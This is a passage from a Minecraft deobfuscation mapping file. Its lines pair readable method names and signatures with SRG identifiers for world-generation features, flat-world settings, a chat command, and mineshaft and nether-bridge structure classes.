net/minecraft/world/gen/feature/WorldGenHugeTrees/func_175929_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;I)Z +MD: net/minecraft/world/gen/feature/WorldGenHugeTrees/func_175927_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/World;)Z net/minecraft/world/gen/feature/WorldGenHugeTrees/func_175927_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/World;)Z +MD: net/minecraft/world/gen/feature/WorldGenHugeTrees/func_150533_a (Ljava/util/Random;)I net/minecraft/world/gen/feature/WorldGenHugeTrees/func_150533_a (Ljava/util/Random;)I +MD: net/minecraft/world/gen/feature/WorldGenHugeTrees/func_175928_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)V net/minecraft/world/gen/feature/WorldGenHugeTrees/func_175928_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/gen/feature/WorldGenHugeTrees/func_175926_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)Z net/minecraft/world/gen/feature/WorldGenHugeTrees/func_175926_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)Z +MD: net/minecraft/world/gen/feature/WorldGenMelon/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenMelon/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenDungeons/pickMobSpawner (Ljava/util/Random;)Ljava/lang/String; net/minecraft/world/gen/feature/WorldGenDungeons/func_76543_b (Ljava/util/Random;)Ljava/lang/String; +MD: net/minecraft/world/gen/feature/WorldGenDungeons/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenDungeons/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenMinable/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenMinable/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenTaiga1/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenTaiga1/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenPumpkin/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenPumpkin/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenReed/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenReed/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenCanopyTree/func_150526_a (Lnet/minecraft/world/World;III)V net/minecraft/world/gen/feature/WorldGenCanopyTree/func_150526_a (Lnet/minecraft/world/World;III)V +MD: net/minecraft/world/gen/feature/WorldGenCanopyTree/func_181638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)Z net/minecraft/world/gen/feature/WorldGenCanopyTree/func_181638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)Z +MD: net/minecraft/world/gen/feature/WorldGenCanopyTree/func_181639_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/gen/feature/WorldGenCanopyTree/func_181639_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/gen/feature/WorldGenCanopyTree/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenCanopyTree/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenSand/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenSand/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenSavannaTree/func_181642_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/gen/feature/WorldGenSavannaTree/func_181642_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/gen/feature/WorldGenSavannaTree/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenSavannaTree/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenSavannaTree/func_175924_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/gen/feature/WorldGenSavannaTree/func_175924_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/gen/feature/WorldGenSpikes/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenSpikes/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenLiquids/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenLiquids/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenTaiga2/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenTaiga2/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenSwamp/func_181647_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/properties/PropertyBool;)V net/minecraft/world/gen/feature/WorldGenSwamp/func_181647_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/properties/PropertyBool;)V +MD: net/minecraft/world/gen/feature/WorldGenSwamp/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenSwamp/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenTallGrass/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenTallGrass/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenTrees/func_181652_a (Lnet/minecraft/world/World;ILnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V net/minecraft/world/gen/feature/WorldGenTrees/func_181652_a (Lnet/minecraft/world/World;ILnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/world/gen/feature/WorldGenTrees/func_181651_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/properties/PropertyBool;)V net/minecraft/world/gen/feature/WorldGenTrees/func_181651_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/properties/PropertyBool;)V +MD: net/minecraft/world/gen/feature/WorldGenTrees/func_181650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/properties/PropertyBool;)V net/minecraft/world/gen/feature/WorldGenTrees/func_181650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/properties/PropertyBool;)V +MD: net/minecraft/world/gen/feature/WorldGenTrees/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenTrees/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenVines/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenVines/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/feature/WorldGenWaterlily/generate (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/gen/feature/WorldGenWaterlily/func_180709_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/gen/FlatGeneratorInfo/getBiome ()I net/minecraft/world/gen/FlatGeneratorInfo/func_82648_a ()I +MD: net/minecraft/world/gen/FlatGeneratorInfo/setBiome (I)V net/minecraft/world/gen/FlatGeneratorInfo/func_82647_a (I)V +MD: net/minecraft/world/gen/FlatGeneratorInfo/func_180716_a (ILjava/lang/String;)Ljava/util/List; net/minecraft/world/gen/FlatGeneratorInfo/func_180716_a (ILjava/lang/String;)Ljava/util/List; +MD: net/minecraft/world/gen/FlatGeneratorInfo/func_180715_a (ILjava/lang/String;I)Lnet/minecraft/world/gen/FlatLayerInfo; net/minecraft/world/gen/FlatGeneratorInfo/func_180715_a (ILjava/lang/String;I)Lnet/minecraft/world/gen/FlatLayerInfo; +MD: net/minecraft/world/gen/FlatGeneratorInfo/createFlatGeneratorFromString (Ljava/lang/String;)Lnet/minecraft/world/gen/FlatGeneratorInfo; net/minecraft/world/gen/FlatGeneratorInfo/func_82651_a (Ljava/lang/String;)Lnet/minecraft/world/gen/FlatGeneratorInfo; +MD: net/minecraft/world/gen/FlatGeneratorInfo/getWorldFeatures ()Ljava/util/Map; net/minecraft/world/gen/FlatGeneratorInfo/func_82644_b ()Ljava/util/Map; +MD: net/minecraft/world/gen/FlatGeneratorInfo/getFlatLayers ()Ljava/util/List; net/minecraft/world/gen/FlatGeneratorInfo/func_82650_c ()Ljava/util/List; +MD: net/minecraft/world/gen/FlatGeneratorInfo/func_82645_d ()V net/minecraft/world/gen/FlatGeneratorInfo/func_82645_d ()V +MD: net/minecraft/world/gen/FlatGeneratorInfo/getDefaultFlatGenerator ()Lnet/minecraft/world/gen/FlatGeneratorInfo; net/minecraft/world/gen/FlatGeneratorInfo/func_82649_e ()Lnet/minecraft/world/gen/FlatGeneratorInfo; +MD: net/minecraft/world/gen/FlatGeneratorInfo/toString ()Ljava/lang/String; net/minecraft/world/gen/FlatGeneratorInfo/toString ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandMessageRaw/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandMessageRaw/func_82362_a ()I +MD: net/minecraft/command/server/CommandMessageRaw/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandMessageRaw/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandMessageRaw/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandMessageRaw/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandMessageRaw/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/server/CommandMessageRaw/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/server/CommandMessageRaw/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandMessageRaw/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandMessageRaw/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandMessageRaw/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/world/gen/FlatLayerInfo/getLayerCount ()I net/minecraft/world/gen/FlatLayerInfo/func_82657_a ()I +MD: net/minecraft/world/gen/FlatLayerInfo/setMinY (I)V net/minecraft/world/gen/FlatLayerInfo/func_82660_d (I)V +MD: net/minecraft/world/gen/FlatLayerInfo/getLayerMaterial ()Lnet/minecraft/block/state/IBlockState; net/minecraft/world/gen/FlatLayerInfo/func_175900_c ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/gen/FlatLayerInfo/getMinY ()I net/minecraft/world/gen/FlatLayerInfo/func_82656_d ()I +MD: net/minecraft/world/gen/FlatLayerInfo/getLayerMaterialBlock ()Lnet/minecraft/block/Block; net/minecraft/world/gen/FlatLayerInfo/func_151536_b ()Lnet/minecraft/block/Block; +MD: net/minecraft/world/gen/FlatLayerInfo/getFillBlockMeta ()I net/minecraft/world/gen/FlatLayerInfo/func_82658_c ()I +MD: net/minecraft/world/gen/FlatLayerInfo/toString ()Ljava/lang/String; net/minecraft/world/gen/FlatLayerInfo/toString ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/StructureBoundingBox/getNewBoundingBox ()Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureBoundingBox/func_78887_a ()Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureBoundingBox/offset (III)V net/minecraft/world/gen/structure/StructureBoundingBox/func_78886_a (III)V +MD: net/minecraft/world/gen/structure/StructureBoundingBox/intersectsWith (IIII)Z net/minecraft/world/gen/structure/StructureBoundingBox/func_78885_a (IIII)Z +MD: net/minecraft/world/gen/structure/StructureBoundingBox/func_175899_a (IIIIII)Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureBoundingBox/func_175899_a (IIIIII)Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureBoundingBox/getComponentToAddBoundingBox (IIIIIIIIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureBoundingBox/func_175897_a (IIIIIIIIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureBoundingBox/intersectsWith (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureBoundingBox/func_78884_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureBoundingBox/func_175896_b ()Lnet/minecraft/util/Vec3i; net/minecraft/world/gen/structure/StructureBoundingBox/func_175896_b ()Lnet/minecraft/util/Vec3i; +MD: net/minecraft/world/gen/structure/StructureBoundingBox/expandTo (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureBoundingBox/func_78888_b (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureBoundingBox/isVecInside (Lnet/minecraft/util/Vec3i;)Z net/minecraft/world/gen/structure/StructureBoundingBox/func_175898_b (Lnet/minecraft/util/Vec3i;)Z +MD: net/minecraft/world/gen/structure/StructureBoundingBox/getXSize ()I net/minecraft/world/gen/structure/StructureBoundingBox/func_78883_b ()I +MD: net/minecraft/world/gen/structure/StructureBoundingBox/getYSize ()I net/minecraft/world/gen/structure/StructureBoundingBox/func_78882_c ()I +MD: net/minecraft/world/gen/structure/StructureBoundingBox/getZSize ()I net/minecraft/world/gen/structure/StructureBoundingBox/func_78880_d ()I +MD: net/minecraft/world/gen/structure/StructureBoundingBox/getCenter ()Lnet/minecraft/util/Vec3i; net/minecraft/world/gen/structure/StructureBoundingBox/func_180717_f ()Lnet/minecraft/util/Vec3i; +MD: net/minecraft/world/gen/structure/StructureBoundingBox/toNBTTagIntArray ()Lnet/minecraft/nbt/NBTTagIntArray; net/minecraft/world/gen/structure/StructureBoundingBox/func_151535_h ()Lnet/minecraft/nbt/NBTTagIntArray; +MD: net/minecraft/world/gen/structure/StructureBoundingBox/toString ()Ljava/lang/String; net/minecraft/world/gen/structure/StructureBoundingBox/toString ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenMineshaft/getStructureName ()Ljava/lang/String; net/minecraft/world/gen/structure/MapGenMineshaft/func_143025_a ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenMineshaft/canSpawnStructureAtCoords (II)Z net/minecraft/world/gen/structure/MapGenMineshaft/func_75047_a (II)Z +MD: net/minecraft/world/gen/structure/MapGenMineshaft/getStructureStart (II)Lnet/minecraft/world/gen/structure/StructureStart; net/minecraft/world/gen/structure/MapGenMineshaft/func_75049_b (II)Lnet/minecraft/world/gen/structure/StructureStart; +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/generateChestContents (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;IIILjava/util/List;I)Z net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/func_180778_a (Lnet/minecraft/world/World;Lnet/minecraft/world/gen/structure/StructureBoundingBox;Ljava/util/Random;IIILjava/util/List;I)Z +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/func_175814_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/func_175814_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Corridor/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/func_175813_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/func_175813_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Cross/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/func_181138_a (III)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/func_181138_a (III)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Room/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Stairs/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureMineshaftPieces$Stairs/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Stairs/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Stairs/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Stairs/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Stairs/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Stairs/func_175812_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; net/minecraft/world/gen/structure/StructureMineshaftPieces$Stairs/func_175812_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureBoundingBox; +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces$Stairs/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureMineshaftPieces$Stairs/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces/registerStructurePieces ()V net/minecraft/world/gen/structure/StructureMineshaftPieces/func_143048_a ()V +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces/access$000 (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureMineshaftPieces/access$000 (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces/func_175892_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureMineshaftPieces/func_175892_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces/access$100 ()Ljava/util/List; net/minecraft/world/gen/structure/StructureMineshaftPieces/access$100 ()Ljava/util/List; +MD: net/minecraft/world/gen/structure/StructureMineshaftPieces/func_175890_b (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureMineshaftPieces/func_175890_b (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/MapGenNetherBridge/getStructureName ()Ljava/lang/String; net/minecraft/world/gen/structure/MapGenNetherBridge/func_143025_a ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/MapGenNetherBridge/canSpawnStructureAtCoords (II)Z net/minecraft/world/gen/structure/MapGenNetherBridge/func_75047_a (II)Z +MD: net/minecraft/world/gen/structure/MapGenNetherBridge/getSpawnList ()Ljava/util/List; net/minecraft/world/gen/structure/MapGenNetherBridge/func_75059_a ()Ljava/util/List; +MD: net/minecraft/world/gen/structure/MapGenNetherBridge/getStructureStart (II)Lnet/minecraft/world/gen/structure/StructureStart; net/minecraft/world/gen/structure/MapGenNetherBridge/func_75049_b (II)Lnet/minecraft/world/gen/structure/StructureStart; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing3/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing3/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing3/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing3/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing3/func_175885_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing3; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing3/func_175885_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing3; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$End/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$End/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$End/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$End/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$End/func_175884_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$End; net/minecraft/world/gen/structure/StructureNetherBridgePieces$End/func_175884_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$End; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$End/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$End/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Straight/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Straight/func_74875_a 